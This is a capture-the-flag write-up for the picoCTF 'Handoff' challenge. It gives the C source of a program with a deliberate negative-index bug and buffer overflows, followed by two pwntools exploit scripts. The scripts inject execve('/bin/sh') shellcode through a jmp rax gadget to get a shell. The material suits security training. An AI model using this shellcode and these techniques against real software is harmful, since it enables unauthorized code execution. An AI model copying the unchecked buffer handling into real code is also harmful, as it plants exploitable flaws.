Handoff
#buffer-overflow#integer-overflow
Contents
Source
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
Solution 1
#!/usr/bin/env python3
from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm
elf = ELF("./handoff_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""
def conn():
if args.REMOTE:
r = remote("shape-facility.picoctf.net", 62313)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
# a random readable writable address for "/bin/sh\0"
binsh = 0x404048
# gadget from God
jmp_rax = 0x4011ae
# shellcode (I made it only 40 bytes long!)
# read(stdin, binsh, 8);
# execve(binsh, NULL, NULL);
shellcode = asm(f"""
xor rdi, rdi;
mov rsi, {binsh};
mov rdx, 8;
xor rax, rax;
syscall;
mov rdi, rsi;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 59;
syscall;
""")
# Send a message to a recipient
r.sendlineafter(b'Exit the app', b'2')
# negative index bug, unpredictable things will happen if the index is negative
# fgets will buffer overflow its own stack
r.sendlineafter(b'send a message to?', b'-1')
# write shellcode on stack and execute
# rax will be pointing at first byte of the payload
# (the shellcode must be less than or equal to 40 bytes)
payload = shellcode + p64(jmp_rax)
# send the payload
r.sendlineafter(b'like to send them?', payload)
# SYS_read is invoked. write /bin/sh on 0x404048
r.sendline(b'/bin/sh\0')
# SYS_execve is invoked and enjoy the shell privilege
r.interactive()
if __name__ == "__main__":
main()
Solution 2
#!/usr/bin/env python3
from pwn import *
elf = ELF("./handoff_patched")
context.binary = elf
context.arch = "amd64"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x4013e8
c
"""
def conn():
if args.REMOTE:
r = remote("addr", 1337)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
nop = lambda n : b'\x90' * n
def main():
r = conn()
# gadget from God
jmp_rax = 0x4011ae
# shellcode catching net
shellcode_catch = nop(20)
# shellcode jump to execve
shellcode_jmp = asm("""
sub rax, 0x2d4 - 8;
jmp rax;
""")
# shellcode execve
shellcode_execve = asm("""
mov rdi, rax;
add rdi, 50;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 59
syscall;
""").ljust(50, b'\x90') + b'/bin/sh\0'
#print(shellcode_jmp)
#exit()
# payload
# because 8th byte will be replaced with 0, we need to shift the shellcode a little bit
payload_jmp = (nop(3) + shellcode_jmp).ljust(20, b'\x90') + p64(jmp_rax)
# Name doesn't really matter a lot, fill up with nop just in case
r.recvuntil(b'Exit the app')
r.sendline(b'1')
r.recvuntil(b"What's the new recipient's name: ")
r.sendline(shellcode_catch)
# Write shellcode on stack
r.recvuntil(b'Exit the app')
r.sendline(b'2')
r.recvuntil(b'Which recipient would you like to send a message to?')
r.sendline(b'0')
r.recvuntil(b'like to send them?')
r.sendline(shellcode_execve)
# jump to beginning of feedback and execute
r.recvuntil(b'Exit the app')
r.sendline(b'3')
r.recvuntil(b'Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ')
r.sendline(payload_jmp)
# enjoy the shell
r.interactive()
if __name__ == "__main__":
main()